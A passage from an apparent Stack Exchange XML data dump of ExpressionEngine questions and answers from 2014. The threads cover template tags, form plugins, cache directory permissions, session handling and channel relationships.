class=&quot;no_bullets&quot;&amp;gt;&#xA;                        &amp;lt;li class=&quot;left&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;city&quot;&amp;gt;Entry Doors&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;span&amp;gt;Size&amp;lt;/span&amp;gt; &amp;lt;input type=&quot;text&quot; name=&quot;ed_size&quot; id=&quot;ed_size&quot; tabindex=&quot;5&quot;&amp;gt;&#xA;                            &amp;lt;span&amp;gt;Quantity&amp;lt;/span&amp;gt; &amp;lt;input type=&quot;text&quot; name=&quot;ed_quantity&quot; id=&quot;ed_quantity&quot; tabindex=&quot;5&quot;&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li class=&quot;left&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;windows&quot;&amp;gt;Windows&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;span&amp;gt;Quantity&amp;lt;/span&amp;gt; &amp;lt;input type=&quot;text&quot; name=&quot;windows&quot; id=&quot;windows&quot; tabindex=&quot;5&quot;&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li class=&quot;left&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;city&quot;&amp;gt;Overhangs&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input type=&quot;text&quot; name=&quot;overhangs&quot; id=&quot;overhangs&quot; tabindex=&quot;5&quot;&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                    &amp;lt;/ol&amp;gt;&#xA;                    &amp;lt;ol class=&quot;no_bullets&quot;&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&#xA;                            &amp;lt;label for=&quot;city&quot;&amp;gt;Colors&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input type=&quot;text&quot; name=&quot;colors&quot; id=&quot;colors&quot; placeholder=&quot;Siding: Red, Trim: white, etc.&quot; tabindex=&quot;5&quot; /&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                    &amp;lt;/ol&amp;gt;&#xA;                &amp;lt;/fieldset&amp;gt;&#xA;&#xA;                &amp;lt;fieldset role=&quot;message&quot;&amp;gt;&#xA;                    &amp;lt;legend&amp;gt;Additional Details&amp;lt;/legend&amp;gt;&#xA;                    &amp;lt;ol class=&quot;no_bullets&quot;&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&#xA;                            &amp;lt;label for=&quot;details&quot;&amp;gt;Please add any extra information that may be helpful in the planning of your project&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;textarea name=&quot;details&quot; id=&quot;details&quot; tabindex=&quot;5&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                    &amp;lt;/ol&amp;gt;&#xA;                &amp;lt;/fieldset&amp;gt;&#xA;&#xA;                &amp;lt;fieldset role=&quot;submit&quot;&amp;gt;&#xA;                    &amp;lt;input type=&quot;hidden&quot; id=&quot;process_val&quot; value=&quot;rfp&quot; /&amp;gt;&#xA;                    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; tabindex=&quot;6&quot; class=&quot;dred_button&quot;&amp;gt;&#xA;                    &amp;lt;p class=&quot;required&quot;&amp;gt;* Required Fields&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/fieldset&amp;gt;&#xA;            &amp;lt;/form&amp;gt;&#xA;&#xA;        &amp;lt;/section&amp;gt;&#xA;&#xA;    &amp;lt;/article&amp;gt;`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2411" LastActivityDate="2021-07-21T02:56:54.780" Title="Contact Request Form not sending emails" Tags="|email|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20612" PostTypeId="1" AcceptedAnswerId="20810" CreationDate="2014-03-24T19:43:17.597" Score="1" ViewCount="77" Body="&lt;p&gt;I have a single site on a fresh install. However, in the top right corner, clicking on the site name gives the dropdown as if this were a multi site install. I am not running MSM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, it wasn't clear where to edit the site name, I had to do so in the DB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bug?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/223Q7.png&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2014-03-29T18:51:01.553" Title="Multi Site Manager site dropdown showing on single site" Tags="|multi-site-manager|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20613" PostTypeId="2" ParentId="20565" CreationDate="2014-03-24T20:08:13.523" Score="0" Body="&lt;p&gt;Hmm, that seems like it should work. Have you tried either of the following?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{segment_3}' == '{member_id}'}&#xA;   {redirect=&quot;members/profile/{username}/&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{segment_3}' == '{logged_in_member_id}'}&#xA;   {redirect=&quot;members/profile/{logged_in_username}/&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="489" LastActivityDate="2014-03-24T20:08:13.523" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20614" PostTypeId="2" ParentId="20565" CreationDate="2014-03-24T20:20:49.167" Score="0" Body="&lt;p&gt;If you're using switchee, it might just be a matter of setting up a case specifically to check for member ID's, rather than using an if-check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Member IDs are only numberic, where usernames have regular letters (and generally not numbers)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try something along these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_3}&quot; parse=&quot;inward&quot;}&#xA;{case value=&quot;#^\d{1,99}$#&quot;}&#xA;  {exp:member:custom_profile_data member_id=&quot;{segment_3}&quot;}&#xA;  {redirect=&quot;members/profile/{username}/&quot;}&#xA;  {/exp:member:custom_profile_data}&#xA;{/case}&#xA;&#xA;{case value=&quot;&quot; default=&quot;Yes&quot;}&#xA;  Your regular template goes here.&#xA;{/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You're going to want to check my case value's regex - that's meant to check that the value is a number (and only a number). &lt;/p&gt;&#xA;" OwnerUserId="1717" LastEditorUserId="1717" LastEditDate="2014-03-25T13:59:22.520" LastActivityDate="2014-03-25T13:59:22.520" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20615" PostTypeId="2" ParentId="20611" CreationDate="2014-03-24T20:26:24.007" Score="1" Body="&lt;p&gt;Couple thoughts for you to run down. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might be spam-filter related. Look up your out-going mail logs on your server, they might tell you something interesting. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if your action is blank, it's likely there's a jquery/javascript that's involved in your form process. If you use firebug, pop that open and see if you're getting any errors on the page. I'm guessing there may be something else broken on the page which would, in turn, break scripts related to the form. &lt;/p&gt;&#xA;" OwnerUserId="1717" LastActivityDate="2014-03-24T20:26:24.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20616" PostTypeId="2" ParentId="20604" CreationDate="2014-03-24T21:09:40.123" Score="0" Body="&lt;p&gt;If your last segment is either &quot;edit&quot; or &quot;view&quot; it would be best to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {if member_group == &quot;5&quot;}&#xA;      {embed=&quot;mypassport/personal-profile-{last_segment}&quot;}&#xA;  {if:elseif member_group == &quot;6&quot;}&#xA;      {embed=&quot;mypassport/business-profile-{last_segment}&quot;}&#xA;  {if:else}&#xA;      No results template&#xA;  {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-03-24T21:09:40.123" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20617" PostTypeId="2" ParentId="2230" CreationDate="2014-03-24T21:12:09.157" Score="1" Body="&lt;p&gt;This plugin doesn't support Structure i don't think, but it still works for making titles longer. &lt;a href=&quot;http://devot-ee.com/add-ons/mx-title-control&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/mx-title-control&lt;/a&gt;. The Title Master plugin looks to be no longer supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just adding this info for future searchers.&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2014-03-24T21:12:09.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20618" PostTypeId="1" CreationDate="2014-03-24T22:10:07.653" Score="1" ViewCount="85" Body="&lt;p&gt;I'm trying to generate a list of entries that share two specific, common children. I have the entry_id's of the children, but Playa's template tags don't seem to have a way to display parents that share the same children. I found the plugin &quot;Multiplaya&quot; (&lt;a href=&quot;https://github.com/croxton/Multiplaya&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Multiplaya&lt;/a&gt;) that seemed to fit the bill but it did not work for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following gives me a list of parents of entry_id &quot;26&quot; &lt;strong&gt;OR&lt;/strong&gt; &quot;39&quot;, whereas I need parents of entry_ids &quot;26&quot; &lt;strong&gt;AND&lt;/strong&gt; &quot;39&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parents entry_id=&quot;26|39&quot; orderby=&quot;title&quot; sort=&quot;asc&quot;}&#xA;...    &#xA;{/exp:playa:parents} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1894" LastActivityDate="2014-03-25T10:27:14.740" Title="Show entries that are parents of two specific children" Tags="|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20619" PostTypeId="1" AcceptedAnswerId="20639" CreationDate="2014-03-25T03:28:20.160" Score="0" ViewCount="247" Body="&lt;p&gt;I have just installed a new EE site and the cache directory Channel Images creates is being set to Owner/Group 99/99. (/public_html/system/expressionengine/cache/channel_images)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to upload a pic it gives me the error &quot;&lt;strong&gt;The Local Temp dir is either not writable or does not exist&lt;/strong&gt;&quot;.&lt;br&gt;&#xA;When I try to import the image it will create the entry directory (/public_html/pictures/articles/1) but the image will not be created.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also have Updater and Monitor from Devotee installed on same site and it works fine.&#xA;This is not happening on any another site I created on the same server just to test this out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Details:&lt;/strong&gt;&lt;br&gt;&#xA;Server -- VPS running WHM/cPanel (CENTOS 6.5 x86_64 / WHM 11.42.0 (build 22), 77GB free disk space)&lt;br&gt;&#xA;Cache dir permission -- 755 (this is normal for a cPanel server and works for all other sites)&lt;br&gt;&#xA;EE -- 2.8.1&lt;br&gt;&#xA;Channel Images -- 5.4.15&lt;br&gt;&#xA;Field test output --&lt;br&gt;&#xA;PHP Safe Mode (OFF): Passed&lt;br&gt;&#xA;Is Dir: Passed&lt;br&gt;&#xA;Is Readable: Passed&lt;br&gt;&#xA;Is Writable: Passed&lt;br&gt;&#xA;Create Test File: Passed&lt;br&gt;&#xA;Delete Test File: Passed&lt;br&gt;&#xA;Create Test DIR: Passed&lt;br&gt;&#xA;Rename Test DIR: Passed&lt;br&gt;&#xA;Delete Test DIR: Passed  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried all options in other topics (except manually changing owner/group using ssh as root) and nothing works. Re-installed Channel Images and it still creates the cache directory as Owner/Group 99/99.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshots:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2bi8D.png&quot; alt=&quot;cache directory permission&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UuUJ9.png&quot; alt=&quot;entry directory&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: This is also posted in DevDemon forum as topic &lt;a href=&quot;https://www.devdemon.com/forums/viewthread/2692/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.devdemon.com/forums/viewthread/2692/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1134" LastActivityDate="2014-03-25T13:32:06.437" Title="Why does Channel Images cache directory create itself as owner/group 99/99" Tags="|channel-images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20620" PostTypeId="2" ParentId="20463" CreationDate="2014-03-25T04:27:15.817" Score="1" Body="&lt;p&gt;The solution was to use &lt;code&gt;{exp:tag:entries}&lt;/code&gt; to display entries associated with a tag, but also make sure the status of those entries are set to &quot;open&quot;, and if they aren't use the &lt;code&gt;status=&quot;some_other_status&quot;&lt;/code&gt; parameter.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-03-25T04:27:15.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20621" PostTypeId="1" CreationDate="2014-03-25T05:16:02.953" Score="1" ViewCount="167" Body="&lt;p&gt;I have my custom 404 page in expression-engine but is display 200 ok status so i want to set 404 status on console can you please help me &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2891" LastEditorUserId="2891" LastEditDate="2014-03-25T05:40:19.573" LastActivityDate="2014-04-25T23:36:06.393" Title="How to change 200 ok status of 404 error page in expressionengine?" Tags="|ee|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20622" PostTypeId="1" AcceptedAnswerId="20623" CreationDate="2014-03-25T05:30:27.680" Score="1" ViewCount="66" Body="&lt;p&gt;Does ExpressionEngine have a native way to change the email or password of the current user using a form in a template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware that you can do it in the EE Control Panel Backend but I am looking for a solution that will work in a frontend template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: About the password, I am not talking about the password lost/reset feature. I am aware of that solution. I am looking specifically to be able to change passwords on the spot rather than relying on that feature.&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-03-25T09:21:12.263" Title="Is there a non backend/control-panel solution to changing email or password?" Tags="|email|password|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20623" PostTypeId="2" ParentId="20622" CreationDate="2014-03-25T06:04:32.770" Score="1" Body="&lt;p&gt;There's a boat load of options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FreeMember: &lt;a href=&quot;http://devot-ee.com/add-ons/freemember&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/freemember&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stand Alone Member Edit: &lt;a href=&quot;http://devot-ee.com/add-ons/stand-alone-member-edit&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/stand-alone-member-edit&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR find some paid for modules: &lt;a href=&quot;http://devot-ee.com/search/results?keywords=member&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/search/results?keywords=member&amp;amp;addon_version_support=ee2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-03-25T06:04:32.770" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20624" PostTypeId="1" AcceptedAnswerId="21457" CreationDate="2014-03-25T06:14:37.777" Score="0" ViewCount="54" Body="&lt;p&gt;I want to show cartthrob packages in front-end after login when i login i am not able to see product which are used to add in packages shown in below image&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its work when we have logged in from back-end&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i try to debug i found i am not getting EE.base so i have add below think to use for dynamic user&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;&lt;a href=&quot;http://stores.example.com/system/index.php?S=&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://stores.example.com/system/index.php?S=&lt;/a&gt;$fingerprint&amp;amp;D=cp&quot;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;?S=$fingerprint is same as below which i am getting when i am logged in back-end &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In backend the url is some think link this &lt;a href=&quot;http://stores.example.com/system/index.php?S=d880f2cb5dd6db612d0603c2b95272e3&amp;amp;D=cp&amp;amp;XID=ba318af777c8317b9a5e4ee803f72ea8dbbc223a&amp;amp;C=addons_modules&amp;amp;M=show_module_cp&amp;amp;module=cartthrob&amp;amp;method=package_filter&amp;amp;filter_id=1&amp;amp;keywords=&amp;amp;channel_id=null&amp;amp;date_range=&amp;amp;cat_id=&amp;amp;search_in=title&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://stores.example.com/system/index.php?S=d880f2cb5dd6db612d0603c2b95272e3&amp;amp;D=cp&amp;amp;XID=ba318af777c8317b9a5e4ee803f72ea8dbbc223a&amp;amp;C=addons_modules&amp;amp;M=show_module_cp&amp;amp;module=cartthrob&amp;amp;method=package_filter&amp;amp;filter_id=1&amp;amp;keywords=&amp;amp;channel_id=null&amp;amp;date_range=&amp;amp;cat_id=&amp;amp;search_in=title&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to debug once again &#xA;print_r($this-&gt;EE-&gt;session-&gt;userdata); &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i found all the values same except  [admin_sess] it will be 1 when i login from backend and 0 else&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so please help me how to show cartthrob packages product in front end&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J7rfl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2423" LastActivityDate="2014-04-25T06:14:17.217" Title="show cartthrob packages product in front end" Tags="|cartthrob|sessions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20626" PostTypeId="1" CreationDate="2014-03-25T07:32:33.517" Score="0" ViewCount="31" Body="&lt;p&gt;If user logged in to front-end, is it possible to auto logged in to Control Panel ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How automatically be logged in to both the Control Panel and front-end at the same time ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2664" LastActivityDate="2014-03-26T11:49:32.183" Title="How automatically be logged in to both the Control Panel and front-end at the same time?" Tags="|members|control-panel|login|users|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20627" PostTypeId="1" AcceptedAnswerId="20650" CreationDate="2014-03-25T08:04:35.333" Score="1" ViewCount="138" Body="&lt;p&gt;So basically I am creating an RSVP for a site. I would like to allow the client to just make a simple entry for an event (Name, Date, Description). I would then like to have each entry page have a version of the same RSVP form which is tailored for that event.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking of making hidden fields that would pass the name and date to the form, but if possible I would like to have Freeform track the entries separately by event. Is it possible for Freeforms to create a new 'Form' to track this data in upon the creation of an entry in a Channel?&lt;/p&gt;&#xA;" OwnerUserId="2893" LastActivityDate="2014-03-25T18:08:11.367" Title="Create Forms Dynamically on Channel Entry" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20628" PostTypeId="1" AcceptedAnswerId="20651" CreationDate="2014-03-25T08:21:28.723" Score="1" ViewCount="733" Body="&lt;p&gt;I'm not an experienced user and would like to make something complicated: I'd like to use aviary editor to edit photo's on form submit. I need a form where user's can upload their image, edit it with aviary and submit it. Aviary provides a temporary link to the new edited image, I want this edited image to not be sent to the server until the whole form is submitted. How should i go about doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had hoped to pass the url into the input file path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;should be something similar to &lt;a href=&quot;http://freeonlinephotoeditor.org&quot; rel=&quot;nofollow&quot;&gt;http://freeonlinephotoeditor.org&lt;/a&gt; with submit instead download&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2590" LastEditorUserId="2590" LastEditDate="2014-03-25T08:27:27.013" LastActivityDate="2014-03-25T18:50:49.300" Title="How to upload photo, edit it with Aviary and then submit through a front-end form?" Tags="|file-uploads|custom-fields|forms|image|image-path|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20629" PostTypeId="2" ParentId="20622" CreationDate="2014-03-25T09:21:12.263" Score="0" Body="&lt;p&gt;I don't &lt;em&gt;think&lt;/em&gt; that you &lt;strong&gt;need&lt;/strong&gt; to use add-ons. Just take the markup of the password reset form and rework it to fit in with what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creating the initial form is simple enough. For instance (markup straight from the form with the {XID_HASH} tag used.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;admin.php?S=0&amp;amp;amp;D=cp&amp;amp;amp;C=login&amp;amp;amp;M=send_reset_token&quot; method=&quot;post&quot;&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot; /&amp;gt;&#xA;&#xA;    &amp;lt;dl&amp;gt;&#xA;        &amp;lt;dt&amp;gt;Submit your email address:&amp;lt;/dt&amp;gt;&#xA;        &amp;lt;dd&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;&quot; style=&quot;width:100%&quot; size=&quot;35&quot; dir=&quot;ltr&quot; id=&quot;email&quot; maxlength=&quot;80&quot; autocomplete=&quot;off&quot;  /&amp;gt;&amp;lt;/dd&amp;gt;&#xA;    &amp;lt;/dl&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; class=&quot;submit&quot; /&amp;gt; &amp;lt;span&amp;gt;&amp;lt;a href=&quot;admin.php?S=0&amp;amp;amp;D=cp&amp;amp;amp;C=login&quot;&amp;gt;Return to login&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if you can specify a redirect to display a custom page once this form is submitted. I'm sure I've done it in the past and had the full login/password reset system as custom templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as mentioned, there are a few add-ons to handle all this anyway and, at least in the case of Freemember (and possibly others), they're free and easy to use so why reinvent the wheel?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-03-25T09:21:12.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20630" PostTypeId="2" ParentId="20626" CreationDate="2014-03-25T09:24:27.920" Score="2" Body="&lt;p&gt;This is what happens anyway (at least with Super Admin accounts). Maybe the more recent versions of EE introduce an extra level of security but I just tested this on a site running 2.6.1 and logging in on the front end also allowed me to access the CP without having to log in again.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-03-25T09:24:27.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20631" PostTypeId="1" AcceptedAnswerId="20784" CreationDate="2014-03-25T09:43:25.407" Score="0" ViewCount="137" Body="&lt;p&gt;I'm using the Freeform composer tag to pull a form into an EE template, but I can't work out how to set the return value to whatever page the users puts into the Freeform channel field. It works fine if I specify a specific page in the tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my tag as it works (form_select_form is my custom field):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:composer form_id=&quot;{form_select_form:form_id}&quot; form_name=&quot;{form_select_form:form_name}&quot; return=&quot;/message/thanks&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I'd like is the equivalent of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:composer form_id=&quot;{form_select_form:form_id}&quot; form_name=&quot;{form_select_form:form_name}&quot; return=&quot;{form_select_form:user_specified_return_page&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2113" LastEditorUserId="2113" LastEditDate="2014-03-25T10:11:06.537" LastActivityDate="2014-03-28T18:36:56.827" Title="In Freeform, How do I specify return page from channel field in composer tag?" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20632" PostTypeId="1" CreationDate="2014-03-25T09:53:17.803" Score="1" ViewCount="132" Body="&lt;p&gt;I have one channel called E.&#xA;I have another channel called B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to get my head around relationship in ee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;fields in channel E&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;title&lt;/li&gt;&#xA;&lt;li&gt;url_title&lt;/li&gt;&#xA;&lt;li&gt;e_name&lt;/li&gt;&#xA;&lt;li&gt;e_description&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;fields in channel B&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;title&lt;/li&gt;&#xA;&lt;li&gt;url_title&lt;/li&gt;&#xA;&lt;li&gt;e_tag_b(relate to event e_name or title)&lt;/li&gt;&#xA;&lt;li&gt;b_url&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What I am getting in my last_segment is a url_title of channel E.Only this as my resource I want to get all the entries for channel B. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read this &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/relationships.html#child-entries-showing-details-of-a-game&quot; rel=&quot;nofollow&quot;&gt;doc&lt;/a&gt;,but i found it too confusing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am doing :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;B&quot; }&#xA;&#xA;    &amp;lt;h3&amp;gt;{e_tag_b:title}&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;p&amp;gt;{e_tag_b:b_url}&amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get consfused about what to loop when and which tag is to be related where.Any help?&lt;/p&gt;&#xA;" OwnerDisplayName="user2133" LastEditorDisplayName="user2133" LastEditDate="2014-03-25T10:00:12.477" LastActivityDate="2014-03-26T16:06:45.830" Title="Relationship in expression engine?" Tags="|ee2|relationships|related-entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20633" PostTypeId="2" ParentId="20628" CreationDate="2014-03-25T09:56:02.203" Score="1" Body="&lt;p&gt;Unless you'd like to roll your own module, try this module $25 which uses avairy: &lt;a href=&quot;http://devot-ee.com/add-ons/image-editor&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/image-editor&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-03-25T09:56:02.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20634" PostTypeId="2" ParentId="20618" CreationDate="2014-03-25T10:27:14.740" Score="1" Body="&lt;p&gt;You're looking for the &lt;a href=&quot;http://docs.pixelandtonic.com/playa/templating/module/coparents.html&quot; rel=&quot;nofollow&quot;&gt;co-parent tag&lt;/a&gt;. Here's the code for your specific case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:coparents child_id=&quot;26|39&quot; orderby=&quot;title&quot; sort=&quot;asc&quot;}&#xA;    ...&#xA;{/exp:playa:coparents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="722" LastActivityDate="2014-03-25T10:27:14.740" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20635" PostTypeId="2" ParentId="20632" CreationDate="2014-03-25T12:02:35.453" Score="1" Body="&lt;p&gt;It looks like you've forgotten to include your relationship field tag. Try this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;B&quot; }&#xA;&#xA;    {e_tag_b}&#xA;        &amp;lt;h3&amp;gt;{e_tag_b:title}&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;p&amp;gt;{e_tag_b:b_url}&amp;lt;/p&amp;gt;&#xA;    {/e_tag_b}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2416" LastActivityDate="2014-03-25T12:02:35.453" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
